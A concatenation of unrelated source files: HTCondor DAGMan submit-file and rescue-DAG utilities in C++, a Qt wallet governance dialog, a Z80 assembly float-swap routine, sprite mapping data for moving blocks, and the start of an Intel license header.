shallowOpts.strSubFile.Value() );
return false;
}
const char *executable = NULL;
MyString valgrindPath; // outside if so executable is valid!
if ( shallowOpts.runValgrind ) {
valgrindPath = which( valgrind_exe );
if ( valgrindPath == "" ) {
fprintf( stderr, "ERROR: can't find %s in PATH, aborting.\n",
valgrind_exe );
fclose(pSubFile);
return false;
} else {
executable = valgrindPath.Value();
}
} else {
executable = deepOpts.strDagmanPath.Value();
}
fprintf(pSubFile, "# Filename: %s\n", shallowOpts.strSubFile.Value());
fprintf(pSubFile, "# Generated by condor_submit_dag ");
shallowOpts.dagFiles.rewind();
char *dagFile;
while ( (dagFile = shallowOpts.dagFiles.next()) != NULL ) {
fprintf(pSubFile, "%s ", dagFile);
}
fprintf(pSubFile, "\n");
fprintf(pSubFile, "universe\t= scheduler\n");
fprintf(pSubFile, "executable\t= %s\n", executable);
fprintf(pSubFile, "getenv\t\t= True\n");
fprintf(pSubFile, "output\t\t= %s\n", shallowOpts.strLibOut.Value());
fprintf(pSubFile, "error\t\t= %s\n", shallowOpts.strLibErr.Value());
fprintf(pSubFile, "log\t\t= %s\n", shallowOpts.strSchedLog.Value());
if ( ! deepOpts.batchName.empty() ) {
fprintf(pSubFile, "+%s\t= \"%s\"\n", ATTR_JOB_BATCH_NAME,
deepOpts.batchName.c_str());
}
#if !defined ( WIN32 )
fprintf(pSubFile, "remove_kill_sig\t= SIGUSR1\n" );
#endif
fprintf(pSubFile, "+%s\t= \"%s =?= $(cluster)\"\n",
ATTR_OTHER_JOB_REMOVE_REQUIREMENTS, ATTR_DAGMAN_JOB_ID );
// ensure DAGMan is automatically requeued by the schedd if it
// exits abnormally or is killed (e.g., during a reboot)
const char *defaultRemoveExpr = "( ExitSignal =?= 11 || "
"(ExitCode =!= UNDEFINED && ExitCode >=0 && ExitCode <= 2))";
MyString removeExpr(defaultRemoveExpr);
char *tmpRemoveExpr = param( "DAGMAN_ON_EXIT_REMOVE" );
if ( tmpRemoveExpr ) {
removeExpr = tmpRemoveExpr;
free(tmpRemoveExpr);
}
fprintf(pSubFile, "# Note: default on_exit_remove expression:\n");
fprintf(pSubFile, "# %s\n", defaultRemoveExpr);
fprintf(pSubFile, "# attempts to ensure that DAGMan is automatically\n");
fprintf(pSubFile, "# requeued by the schedd if it exits abnormally or\n");
fprintf(pSubFile, "# is killed (e.g., during a reboot).\n");
fprintf(pSubFile, "on_exit_remove\t= %s\n", removeExpr.Value() );
if (!usingPythonBindings) {
fprintf(pSubFile, "copy_to_spool\t= %s\n", shallowOpts.copyToSpool ?
"True" : "False" );
}
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Be sure to change MIN_SUBMIT_FILE_VERSION in dagman_main.cpp
// if the arguments passed to condor_dagman change in an
// incompatible way!!
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ArgList args;
if ( shallowOpts.runValgrind ) {
args.AppendArg("--tool=memcheck");
args.AppendArg("--leak-check=yes");
args.AppendArg("--show-reachable=yes");
args.AppendArg(deepOpts.strDagmanPath.Value());
}
// -p 0 causes DAGMan to run w/o a command socket (see gittrac #4987).
args.AppendArg("-p");
args.AppendArg("0");
args.AppendArg("-f");
args.AppendArg("-l");
args.AppendArg(".");
if ( shallowOpts.iDebugLevel != DEBUG_UNSET ) {
args.AppendArg("-Debug");
args.AppendArg(shallowOpts.iDebugLevel);
}
args.AppendArg("-Lockfile");
args.AppendArg(shallowOpts.strLockFile.Value());
args.AppendArg("-AutoRescue");
args.AppendArg(deepOpts.autoRescue);
args.AppendArg("-DoRescueFrom");
args.AppendArg(deepOpts.doRescueFrom);
shallowOpts.dagFiles.rewind();
while ( (dagFile = shallowOpts.dagFiles.next()) != NULL ) {
args.AppendArg("-Dag");
args.AppendArg(dagFile);
}
if(shallowOpts.iMaxIdle != 0)
{
args.AppendArg("-MaxIdle");
args.AppendArg(shallowOpts.iMaxIdle);
}
if(shallowOpts.iMaxJobs != 0)
{
args.AppendArg("-MaxJobs");
args.AppendArg(shallowOpts.iMaxJobs);
}
if(shallowOpts.iMaxPre != 0)
{
args.AppendArg("-MaxPre");
args.AppendArg(shallowOpts.iMaxPre);
}
if(shallowOpts.iMaxPost != 0)
{
args.AppendArg("-MaxPost");
args.AppendArg(shallowOpts.iMaxPost);
}
if ( shallowOpts.bPostRunSet ) {
if (shallowOpts.bPostRun) {
args.AppendArg("-AlwaysRunPost");
} else {
args.AppendArg("-DontAlwaysRunPost");
}
}
if(deepOpts.useDagDir)
{
args.AppendArg("-UseDagDir");
}
if(deepOpts.suppress_notification)
{
args.AppendArg("-Suppress_notification");
}
else
{
args.AppendArg("-Dont_Suppress_notification");
}
if ( shallowOpts.doRecovery ) {
args.AppendArg( "-DoRecov" );
}
args.AppendArg("-CsdVersion");
args.AppendArg(CondorVersion());
if(deepOpts.allowVerMismatch) {
args.AppendArg("-AllowVersionMismatch");
}
if(shallowOpts.dumpRescueDag) {
args.AppendArg("-DumpRescue");
}
if(deepOpts.bVerbose) {
args.AppendArg("-Verbose");
}
if(deepOpts.bForce) {
args.AppendArg("-Force");
}
if(deepOpts.strNotification != "") {
args.AppendArg("-Notification");
args.AppendArg(deepOpts.strNotification);
}
if(deepOpts.strDagmanPath != "") {
args.AppendArg("-Dagman");
args.AppendArg(deepOpts.strDagmanPath);
}
if(deepOpts.strOutfileDir != "") {
args.AppendArg("-Outfile_dir");
args.AppendArg(deepOpts.strOutfileDir);
}
if(deepOpts.updateSubmit) {
args.AppendArg("-Update_submit");
}
if(deepOpts.importEnv) {
args.AppendArg("-Import_env");
}
if( shallowOpts.priority != 0 ) {
args.AppendArg("-Priority");
args.AppendArg(shallowOpts.priority);
}
MyString arg_str,args_error;
if(!args.GetArgsStringV1WackedOrV2Quoted(&arg_str,&args_error)) {
fprintf(stderr,"Failed to insert arguments: %s",args_error.Value());
exit(1);
}
fprintf(pSubFile, "arguments\t= %s\n", arg_str.Value());
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Be sure to change MIN_SUBMIT_FILE_VERSION in dagman_main.cpp
// if the environment passed to condor_dagman changes in an
// incompatible way!!
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
EnvFilter env;
if ( deepOpts.importEnv ) {
env.Import( );
}
env.SetEnv("_CONDOR_DAGMAN_LOG", shallowOpts.strDebugLog.Value());
env.SetEnv("_CONDOR_MAX_DAGMAN_LOG=0");
if ( shallowOpts.strScheddDaemonAdFile != "" ) {
env.SetEnv("_CONDOR_SCHEDD_DAEMON_AD_FILE",
shallowOpts.strScheddDaemonAdFile.Value());
}
if ( shallowOpts.strScheddAddressFile != "" ) {
env.SetEnv("_CONDOR_SCHEDD_ADDRESS_FILE",
shallowOpts.strScheddAddressFile.Value());
}
if ( shallowOpts.strConfigFile != "" ) {
if ( access( shallowOpts.strConfigFile.Value(), F_OK ) != 0 ) {
fprintf( stderr, "ERROR: unable to read config file %s "
"(error %d, %s)\n",
shallowOpts.strConfigFile.Value(), errno, strerror(errno) );
fclose(pSubFile);
return false;
}
env.SetEnv("_CONDOR_DAGMAN_CONFIG_FILE", shallowOpts.strConfigFile.Value());
}
MyString env_str;
MyString env_errors;
if ( !env.getDelimitedStringV1RawOrV2Quoted( &env_str, &env_errors ) ) {
fprintf( stderr,"Failed to insert environment: %s",
env_errors.Value() );
fclose(pSubFile);
return false;
}
fprintf(pSubFile, "environment\t= %s\n",env_str.Value());
if ( deepOpts.strNotification != "" ) {
fprintf( pSubFile, "notification\t= %s\n",
deepOpts.strNotification.Value() );
}
// Append user-specified stuff to submit file...
// ...first, the insert file, if any...
if ( shallowOpts.appendFile != "" ) {
FILE *aFile = safe_fopen_wrapper_follow(
shallowOpts.appendFile.Value(), "r");
if ( !aFile ) {
fprintf( stderr, "ERROR: unable to read submit append file (%s)\n",
shallowOpts.appendFile.Value() );
return false;
}
char *line;
int lineno = 0;
while ( (line = getline_trim( aFile, lineno )) != NULL ) {
fprintf(pSubFile, "%s\n", line);
}
fclose( aFile );
}
// ...now append lines specified in the DAG file...
dagFileAttrLines.rewind();
char *attrCmd;
while ( (attrCmd = dagFileAttrLines.next()) != NULL ) {
// Note: prepending "+" here means that this only works
// for setting ClassAd attributes.
fprintf( pSubFile, "+%s\n", attrCmd );
}
// ...now things specified directly on the command line.
shallowOpts.appendLines.rewind();
char *command;
while ( (command = shallowOpts.appendLines.next()) != NULL ) {
fprintf( pSubFile, "%s\n", command );
}
fprintf(pSubFile, "queue\n");
fclose(pSubFile);
return true;
}
/** Run condor_submit_dag on the given DAG file.
@param opts: the condor_submit_dag options
@param dagFile: the DAG file to process
@param directory: the directory from which the DAG file should
be processed (ignored if NULL)
@param priority: the priority of this DAG
@param isRetry: whether this is a retry
@return 0 if successful, 1 if failed
*/
int
DagmanUtils::runSubmitDag( const SubmitDagDeepOptions &deepOpts,
const char *dagFile, const char *directory, int priority,
bool isRetry )
{
int result = 0;
// Change to the appropriate directory if necessary.
TmpDir tmpDir;
MyString errMsg;
if ( directory ) {
if ( !tmpDir.Cd2TmpDir( directory, errMsg ) ) {
fprintf( stderr, "Error (%s) changing to node directory\n",
errMsg.Value() );
result = 1;
return result;
}
}
// Build up the command line for the recursive run of
// condor_submit_dag. We need -no_submit so we don't
// actually run the subdag now; we need -update_submit
// so the lower-level .condor.sub file will get
// updated, in case it came from an earlier version
// of condor_submit_dag.
ArgList args;
args.AppendArg( "condor_submit_dag" );
args.AppendArg( "-no_submit" );
args.AppendArg( "-update_submit" );
// Add in arguments we're passing along.
if ( deepOpts.bVerbose ) {
args.AppendArg( "-verbose" );
}
if ( deepOpts.bForce && !isRetry ) {
args.AppendArg( "-force" );
}
if (deepOpts.strNotification != "" ) {
args.AppendArg( "-notification" );
if(deepOpts.suppress_notification) {
args.AppendArg( "never" );
} else {
args.AppendArg( deepOpts.strNotification.Value() );
}
}
if ( deepOpts.strDagmanPath != "" ) {
args.AppendArg( "-dagman" );
args.AppendArg( deepOpts.strDagmanPath.Value() );
}
if ( deepOpts.useDagDir ) {
args.AppendArg( "-usedagdir" );
}
if ( deepOpts.strOutfileDir != "" ) {
args.AppendArg( "-outfile_dir" );
args.AppendArg( deepOpts.strOutfileDir.Value() );
}
args.AppendArg( "-autorescue" );
args.AppendArg( deepOpts.autoRescue );
if ( deepOpts.doRescueFrom != 0 ) {
args.AppendArg( "-dorescuefrom" );
args.AppendArg( deepOpts.doRescueFrom );
}
if ( deepOpts.allowVerMismatch ) {
args.AppendArg( "-allowver" );
}
if ( deepOpts.importEnv ) {
args.AppendArg( "-import_env" );
}
if ( deepOpts.recurse ) {
args.AppendArg( "-do_recurse" );
}
if ( deepOpts.updateSubmit ) {
args.AppendArg( "-update_submit" );
}
if( priority != 0) {
args.AppendArg( "-Priority" );
args.AppendArg( priority );
}
if( deepOpts.suppress_notification ) {
args.AppendArg( "-suppress_notification" );
} else {
args.AppendArg( "-dont_suppress_notification" );
}
args.AppendArg( dagFile );
MyString cmdLine;
args.GetArgsStringForDisplay( &cmdLine );
dprintf( D_ALWAYS, "Recursive submit command: <%s>\n",
cmdLine.Value() );
// Now actually run the command.
int retval = my_system( args );
if ( retval != 0 ) {
dprintf( D_ALWAYS, "ERROR: condor_submit_dag -no_submit "
"failed on DAG file %s.\n", dagFile );
result = 1;
}
// Change back to the directory we started from.
if ( !tmpDir.Cd2MainDir( errMsg ) ) {
dprintf( D_ALWAYS, "Error (%s) changing back to original directory\n",
errMsg.Value() );
}
return result;
}
//---------------------------------------------------------------------------
/** Set up things in deep and shallow options that aren't directly specified
on the command line.
@param deepOpts: the condor_submit_dag deep options
@param shallowOpts: the condor_submit_dag shallow options
@return 0 if successful, 1 if failed
*/
int
DagmanUtils::setUpOptions( SubmitDagDeepOptions &deepOpts,
SubmitDagShallowOptions &shallowOpts,
StringList &dagFileAttrLines )
{
shallowOpts.strLibOut = shallowOpts.primaryDagFile + ".lib.out";
shallowOpts.strLibErr = shallowOpts.primaryDagFile + ".lib.err";
if ( deepOpts.strOutfileDir != "" ) {
shallowOpts.strDebugLog = deepOpts.strOutfileDir + DIR_DELIM_STRING +
condor_basename( shallowOpts.primaryDagFile.Value() );
} else {
shallowOpts.strDebugLog = shallowOpts.primaryDagFile;
}
shallowOpts.strDebugLog += ".dagman.out";
shallowOpts.strSchedLog = shallowOpts.primaryDagFile + ".dagman.log";
shallowOpts.strSubFile = shallowOpts.primaryDagFile + DAG_SUBMIT_FILE_SUFFIX;
MyString rescueDagBase;
// If we're running each DAG in its own directory, write any rescue
// DAG to the current directory, to avoid confusion (since the
// rescue DAG must be run from the current directory).
if ( deepOpts.useDagDir ) {
if ( !condor_getcwd( rescueDagBase ) ) {
fprintf( stderr, "ERROR: unable to get cwd: %d, %s\n",
errno, strerror(errno) );
return 1;
}
rescueDagBase += DIR_DELIM_STRING;
rescueDagBase += condor_basename(shallowOpts.primaryDagFile.Value());
} else {
rescueDagBase = shallowOpts.primaryDagFile;
}
// If we're running multiple DAGs, put "_multi" in the rescue
// DAG name to indicate that the rescue DAG is for *all* of
// the DAGs we're running.
if ( shallowOpts.dagFiles.number() > 1 ) {
rescueDagBase += "_multi";
}
shallowOpts.strRescueFile = rescueDagBase + ".rescue";
shallowOpts.strLockFile = shallowOpts.primaryDagFile + ".lock";
if (deepOpts.strDagmanPath == "" ) {
deepOpts.strDagmanPath = which( dagman_exe );
}
if (deepOpts.strDagmanPath == "")
{
fprintf( stderr, "ERROR: can't find %s in PATH, aborting.\n",
dagman_exe );
return 1;
}
MyString msg;
if ( !GetConfigAndAttrs( shallowOpts.dagFiles, deepOpts.useDagDir,
shallowOpts.strConfigFile,
dagFileAttrLines, msg) ) {
fprintf( stderr, "ERROR: %s\n", msg.Value() );
return 1;
}
return 0;
}
/** Get the configuration file (if any) and the submit append commands
(if any), specified by the given list of DAG files. If more than one
DAG file specifies a configuration file, they must specify the same file.
@param dagFiles: the list of DAG files
@param useDagDir: run DAGs in directories from DAG file paths
if true
@param configFile: holds the path to the config file; if a config
file is specified on the command line, configFile should
be set to that value before this method is called; the
value of configFile will be changed if it's not already
set and the DAG file(s) specify a configuration file
@param attrLines: a StringList to receive the submit attributes
@param errMsg: a MyString to receive any error message
@return true if the operation succeeded; otherwise false
*/
bool
DagmanUtils::GetConfigAndAttrs( /* const */ StringList &dagFiles, bool useDagDir,
MyString &configFile, StringList &attrLines, MyString &errMsg )
{
bool result = true;
// Note: destructor will change back to original directory.
TmpDir dagDir;
dagFiles.rewind();
char *dagFile;
while ( (dagFile = dagFiles.next()) != NULL ) {
//
// Change to the DAG file's directory if necessary, and
// get the filename we need to use for it from that directory.
//
const char * newDagFile;
if ( useDagDir ) {
MyString tmpErrMsg;
if ( !dagDir.Cd2TmpDirFile( dagFile, tmpErrMsg ) ) {
AppendError( errMsg,
MyString("Unable to change to DAG directory ") +
tmpErrMsg );
return false;
}
newDagFile = condor_basename( dagFile );
} else {
newDagFile = dagFile;
}
StringList configFiles;
// Note: destructor will close file.
MultiLogFiles::FileReader reader;
errMsg = reader.Open( newDagFile );
if ( errMsg != "" ) {
return false;
}
MyString logicalLine;
while ( reader.NextLogicalLine( logicalLine ) ) {
if ( logicalLine != "" ) {
// Note: StringList constructor removes leading
// whitespace from lines.
StringList tokens( logicalLine.Value(), " \t" );
tokens.rewind();
const char *firstToken = tokens.next();
if ( !strcasecmp( firstToken, "config" ) ) {
// Get the value.
const char *newValue = tokens.next();
if ( !newValue || !strcmp( newValue, "" ) ) {
AppendError( errMsg, "Improperly-formatted "
"file: value missing after keyword "
"CONFIG" );
result = false;
} else {
// Add the value we just found to the config
// files list (if it's not already in the
// list -- we don't want duplicates).
configFiles.rewind();
char *existingValue;
bool alreadyInList = false;
while ( ( existingValue = configFiles.next() ) ) {
if ( !strcmp( existingValue, newValue ) ) {
alreadyInList = true;
}
}
if ( !alreadyInList ) {
// Note: append copies the string here.
configFiles.append( newValue );
}
}
//some DAG commands are needed for condor_submit_dag, too...
} else if ( !strcasecmp( firstToken, "SET_JOB_ATTR" ) ) {
// Strip of DAGMan-specific command name; the
// rest we pass to the submit file.
logicalLine.replaceString( "SET_JOB_ATTR", "" );
logicalLine.trim();
if ( logicalLine == "" ) {
AppendError( errMsg, "Improperly-formatted "
"file: value missing after keyword "
"SET_JOB_ATTR" );
result = false;
} else {
attrLines.append( logicalLine.Value() );
}
}
}
}
reader.Close();
//
// Check the specified config file(s) against whatever we
// currently have, setting the config file if it hasn't
// been set yet, flagging an error if config files conflict.
//
configFiles.rewind();
char *cfgFile;
while ( (cfgFile = configFiles.next()) ) {
MyString cfgFileMS = cfgFile;
MyString tmpErrMsg;
if ( MakePathAbsolute( cfgFileMS, tmpErrMsg ) ) {
if ( configFile == "" ) {
configFile = cfgFileMS;
} else if ( configFile != cfgFileMS ) {
AppendError( errMsg, MyString("Conflicting DAGMan ") +
"config files specified: " + configFile +
" and " + cfgFileMS );
result = false;
}
} else {
AppendError( errMsg, tmpErrMsg );
result = false;
}
}
//
// Go back to our original directory.
//
MyString tmpErrMsg;
if ( !dagDir.Cd2MainDir( tmpErrMsg ) ) {
AppendError( errMsg,
MyString("Unable to change to original directory ") +
tmpErrMsg );
result = false;
}
}
return result;
}
/** Make the given path into an absolute path, if it is not already.
@param filePath: the path to make absolute (filePath is changed)
@param errMsg: a MyString to receive any error message.
@return true if the operation succeeded; otherwise false
*/
bool
DagmanUtils::MakePathAbsolute(MyString &filePath, MyString &errMsg)
{
bool result = true;
if ( !fullpath( filePath.Value() ) ) {
MyString currentDir;
if ( !condor_getcwd( currentDir ) ) {
formatstr( errMsg, "condor_getcwd() failed with errno %d (%s) at %s:%d",
errno, strerror(errno), __FILE__, __LINE__ );
result = false;
}
filePath = currentDir + DIR_DELIM_STRING + filePath;
}
return result;
}
/** Finds the number of the last existing rescue DAG file for the
given "primary" DAG.
@param primaryDagFile The primary DAG file name
@param multiDags Whether we have multiple DAGs
@param maxRescueDagNum the maximum legal rescue DAG number
@return The number of the last existing rescue DAG (0 if there
is none)
*/
int
DagmanUtils::FindLastRescueDagNum( const char *primaryDagFile, bool multiDags,
int maxRescueDagNum )
{
int lastRescue = 0;
for ( int test = 1; test <= maxRescueDagNum; test++ ) {
MyString testName = RescueDagName( primaryDagFile, multiDags,
test );
if ( access( testName.Value(), F_OK ) == 0 ) {
if ( test > lastRescue + 1 ) {
// This should probably be a fatal error if
// DAGMAN_USE_STRICT is set, but I'm avoiding
// that for now because the fact that this code
// is used in both condor_dagman and condor_submit_dag
// makes that harder to implement. wenger 2011-01-28
dprintf( D_ALWAYS, "Warning: found rescue DAG "
"number %d, but not rescue DAG number %d\n",
test, test - 1);
}
lastRescue = test;
}
}
if ( lastRescue >= maxRescueDagNum ) {
dprintf( D_ALWAYS,
"Warning: FindLastRescueDagNum() hit maximum "
"rescue DAG number: %d\n", maxRescueDagNum );
}
return lastRescue;
}
/** Creates a rescue DAG name, given a primary DAG name and rescue
DAG number
@param primaryDagFile The primary DAG file name
@param multiDags Whether we have multiple DAGs
@param rescueDagNum The rescue DAG number
@return The full name of the rescue DAG
*/
MyString
DagmanUtils::RescueDagName(const char *primaryDagFile, bool multiDags,
int rescueDagNum)
{
ASSERT( rescueDagNum >= 1 );
MyString fileName(primaryDagFile);
if ( multiDags ) {
fileName += "_multi";
}
fileName += ".rescue";
fileName.formatstr_cat( "%.3d", rescueDagNum );
return fileName;
}
/** Renames all rescue DAG files for this primary DAG after the
given one (as long as the numbers are contiguous). For example,
if rescueDagNum is 3, we will rename .rescue4, .rescue5, etc.
@param primaryDagFile The primary DAG file name
@param multiDags Whether we have multiple DAGs
@param rescueDagNum The rescue DAG number to rename *after*
@param maxRescueDagNum the maximum legal rescue DAG number
*/
void
DagmanUtils::RenameRescueDagsAfter(const char *primaryDagFile, bool multiDags,
int rescueDagNum, int maxRescueDagNum)
{
// Need to allow 0 here so condor_submit_dag -f can rename all
// rescue DAGs.
ASSERT( rescueDagNum >= 0 );
dprintf( D_ALWAYS, "Renaming rescue DAGs newer than number %d\n",
rescueDagNum );
int firstToDelete = rescueDagNum + 1;
int lastToDelete = FindLastRescueDagNum( primaryDagFile, multiDags,
maxRescueDagNum );
for ( int rescueNum = firstToDelete; rescueNum <= lastToDelete;
rescueNum++ ) {
MyString rescueDagName = RescueDagName( primaryDagFile, multiDags,
rescueNum );
dprintf( D_ALWAYS, "Renaming %s\n", rescueDagName.Value() );
MyString newName = rescueDagName + ".old";
// Unlink here to be safe on Windows.
tolerant_unlink( newName.Value() );
if ( rename( rescueDagName.Value(), newName.Value() ) != 0 ) {
EXCEPT( "Fatal error: unable to rename old rescue file "
"%s: error %d (%s)\n", rescueDagName.Value(),
errno, strerror( errno ) );
}
}
}
/** Generates the halt file name based on the primary DAG name.
@return The halt file name.
*/
MyString
DagmanUtils::HaltFileName( const MyString &primaryDagFile )
{
MyString haltFile = primaryDagFile + ".halt";
return haltFile;
}
/** Attempts to unlink the given file, and prints an appropriate error
message if this fails (but doesn't return an error, so only call
this if a failure of the unlink is okay).
@param pathname The path of the file to unlink
*/
void
DagmanUtils::tolerant_unlink( const char *pathname )
{
if ( unlink( pathname ) != 0 ) {
if ( errno == ENOENT ) {
dprintf( D_SYSCALLS,
"Warning: failure (%d (%s)) attempting to unlink file %s\n",
errno, strerror( errno ), pathname );
} else {
dprintf( D_ALWAYS,
"Error (%d (%s)) attempting to unlink file %s\n",
errno, strerror( errno ), pathname );
}
}
}
//---------------------------------------------------------------------------
bool
DagmanUtils::fileExists(const MyString &strFile)
{
int fd = safe_open_wrapper_follow(strFile.Value(), O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
//---------------------------------------------------------------------------
bool
DagmanUtils::ensureOutputFilesExist(const SubmitDagDeepOptions &deepOpts,
SubmitDagShallowOptions &shallowOpts)
{
int maxRescueDagNum = param_integer("DAGMAN_MAX_RESCUE_NUM",
MAX_RESCUE_DAG_DEFAULT, 0, ABS_MAX_RESCUE_DAG_NUM);
if (deepOpts.doRescueFrom > 0)
{
MyString rescueDagName = RescueDagName(shallowOpts.primaryDagFile.Value(),
shallowOpts.dagFiles.number() > 1, deepOpts.doRescueFrom);
if (!fileExists(rescueDagName))
{
fprintf( stderr, "-dorescuefrom %d specified, but rescue "
"DAG file %s does not exist!\n", deepOpts.doRescueFrom,
rescueDagName.Value() );
return false;
}
}
// Get rid of the halt file (if one exists).
tolerant_unlink( HaltFileName( shallowOpts.primaryDagFile ).Value() );
if (deepOpts.bForce)
{
tolerant_unlink(shallowOpts.strSubFile.Value());
tolerant_unlink(shallowOpts.strSchedLog.Value());
tolerant_unlink(shallowOpts.strLibOut.Value());
tolerant_unlink(shallowOpts.strLibErr.Value());
RenameRescueDagsAfter(shallowOpts.primaryDagFile.Value(),
shallowOpts.dagFiles.number() > 1, 0, maxRescueDagNum);
}
// Check whether we're automatically running a rescue DAG -- if
// so, allow things to continue even if the files generated
// by condor_submit_dag already exist.
bool autoRunningRescue = false;
if (deepOpts.autoRescue) {
int rescueDagNum = FindLastRescueDagNum(shallowOpts.primaryDagFile.Value(),
shallowOpts.dagFiles.number() > 1, maxRescueDagNum);
if (rescueDagNum > 0) {
printf("Running rescue DAG %d\n", rescueDagNum);
autoRunningRescue = true;
}
}
bool bHadError = false;
// If not running a rescue DAG, check for existing files
// generated by condor_submit_dag...
if (!autoRunningRescue && deepOpts.doRescueFrom < 1 && !deepOpts.updateSubmit) {
if (fileExists(shallowOpts.strSubFile))
{
fprintf( stderr, "ERROR: \"%s\" already exists.\n",
shallowOpts.strSubFile.Value() );
bHadError = true;
}
if (fileExists(shallowOpts.strLibOut))
{
fprintf( stderr, "ERROR: \"%s\" already exists.\n",
shallowOpts.strLibOut.Value() );
bHadError = true;
}
if (fileExists(shallowOpts.strLibErr))
{
fprintf( stderr, "ERROR: \"%s\" already exists.\n",
shallowOpts.strLibErr.Value() );
bHadError = true;
}
if (fileExists(shallowOpts.strSchedLog))
{
fprintf( stderr, "ERROR: \"%s\" already exists.\n",
shallowOpts.strSchedLog.Value() );
bHadError = true;
}
}
// This is checking for the existance of an "old-style" rescue
// DAG file.
if (!deepOpts.autoRescue && deepOpts.doRescueFrom < 1 &&
fileExists(shallowOpts.strRescueFile))
{
fprintf( stderr, "ERROR: \"%s\" already exists.\n",
shallowOpts.strRescueFile.Value() );
fprintf( stderr, " You may want to resubmit your DAG using that "
"file, instead of \"%s\"\n", shallowOpts.primaryDagFile.Value());
fprintf( stderr, " Look at the HTCondor manual for details about DAG "
"rescue files.\n" );
fprintf( stderr, " Please investigate and either remove \"%s\",\n",
shallowOpts.strRescueFile.Value() );
fprintf( stderr, " or use it as the input to condor_submit_dag.\n" );
bHadError = true;
}
if (bHadError)
{
fprintf( stderr, "\nSome file(s) needed by %s already exist. ",
dagman_exe );
if(!usingPythonBindings) {
fprintf( stderr, "Either rename them,\nuse the \"-f\" option to "
"force them to be overwritten, or use\n"
"the \"-update_submit\" option to update the submit "
"file and continue.\n" );
}
else {
fprintf( stderr, "Either rename them,\nor set the { \"force\" : 1 }"
" option to force them to be overwritten.\n" );
}
return false;
}
return true;
}
|
// Copyright (c) 2011-2013 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "governancedialog.h"
#include "ui_governancedialog.h"
#include "masternode.h"
#include "masternode-sync.h"
#include "masternodeconfig.h"
#include "masternodeman.h"
#include "governance.h"
#include "governance-vote.h"
#include "governance-classes.h"
#include "governance-validators.h"
#include "bitcoinunits.h"
#include "guiconstants.h"
#include "guiutil.h"
#include "messagesigner.h"
#include "optionsmodel.h"
#include "walletmodel.h"
#include "../governance.h"
#include "validation.h"
#include <QClipboard>
#include <QDrag>
#include <QMenu>
#include <QMimeData>
#include <QMouseEvent>
#include <QPixmap>
#if QT_VERSION < 0x050000
#include <QUrl>
#endif
#if defined(HAVE_CONFIG_H)
#include "config/mct-config.h" /* for USE_QRCODE */
#endif
#ifdef USE_QRCODE
#include <qrencode.h>
#endif
GovernanceDialog::GovernanceDialog(QWidget *parent) :
QDialog(parent),
walletModel(0),
ui(new Ui::GovernanceDialog),
model(0)
{
ui->setupUi(this);
}
GovernanceDialog::~GovernanceDialog()
{
delete ui;
}
void GovernanceDialog::setModel(OptionsModel *model)
{
this->model = model;
if (model)
connect(model, SIGNAL(displayUnitChanged(int)), this, SLOT(update()));
// update the display unit if necessary
update();
}
void GovernanceDialog::setInfo(QString strWindowtitle, QString strQRCode, QString strTextInfo, QString strQRCodeTitle)
{
this->strWindowtitle = strWindowtitle;
this->strQRCode = strQRCode;
this->strTextInfo = strTextInfo;
this->strQRCodeTitle = strQRCodeTitle;
update();
}
void GovernanceDialog::setWalletModel(WalletModel *model)
{
this->walletModel = model;
}
void GovernanceDialog::update()
{
if(!model)
return;
setWindowTitle(strWindowtitle);
ui->outUri->setText(strTextInfo);
} |
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sccz80p_dswap
EXTERN cm48_sccz80p_dcallee1_0, cm48_sccz80p_dpush_0
cm48_sccz80p_dswap:
; sccz80 float primitive
; Swap two floats.
;
; enter : AC'(BCDEHL') = double x (math48)
; stack = double y (sccz80), ret
;
; exit : AC'(BCDEHL') = y (math48)
; AC (BCDEHL ) = x (math48)
; stack = x (sccz80)
;
; uses : all except iy
call cm48_sccz80p_dcallee1_0
; AC'= y
; AC = x
jp cm48_sccz80p_dpush_0
|
; ---------------------------------------------------------------------------
; Sprite mappings - moving blocks (SYZ/SLZ/LZ)
; ---------------------------------------------------------------------------
Map_FBlock_internal:
dc.w @syz1x1-Map_FBlock_internal
dc.w @syz2x2-Map_FBlock_internal
dc.w @syz1x2-Map_FBlock_internal
dc.w @syzrect2x2-Map_FBlock_internal
dc.w @syzrect1x3-Map_FBlock_internal
dc.w @slz-Map_FBlock_internal
dc.w @lzvert-Map_FBlock_internal
dc.w @lzhoriz-Map_FBlock_internal
@syz1x1: dc.b 1
dc.b $F0, $F, 0, $61, $F0 ; SYZ - 1x1 square block
@syz2x2: dc.b 4
dc.b $E0, $F, 0, $61, $E0 ; SYZ - 2x2 square blocks
dc.b $E0, $F, 0, $61, 0
dc.b 0, $F, 0, $61, $E0
dc.b 0, $F, 0, $61, 0
@syz1x2: dc.b 2
dc.b $E0, $F, 0, $61, $F0 ; SYZ - 1x2 square blocks
dc.b 0, $F, 0, $61, $F0
@syzrect2x2: dc.b 4
dc.b $E6, $F, 0, $81, $E0 ; SYZ - 2x2 rectangular blocks
dc.b $E6, $F, 0, $81, 0
dc.b 0, $F, 0, $81, $E0
dc.b 0, $F, 0, $81, 0
@syzrect1x3: dc.b 3
dc.b $D9, $F, 0, $81, $F0 ; SYZ - 1x3 rectangular blocks
dc.b $F3, $F, 0, $81, $F0
dc.b $D, $F, 0, $81, $F0
@slz: dc.b 1
dc.b $F0, $F, 0, $21, $F0 ; SLZ - 1x1 square block
@lzvert: dc.b 2
dc.b $E0, 7, 0, 0, $F8 ; LZ - small vertical door
dc.b 0, 7, $10, 0, $F8
@lzhoriz: dc.b 4
dc.b $F0, $F, 0, $22, $C0 ; LZ - large horizontal door
dc.b $F0, $F, 0, $22, $E0
dc.b $F0, $F, 0, $22, 0
dc.b $F0, $F, 0, $22, $20
even |
/*
* All Video Processing kernels
* Copyright © <2010>, Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
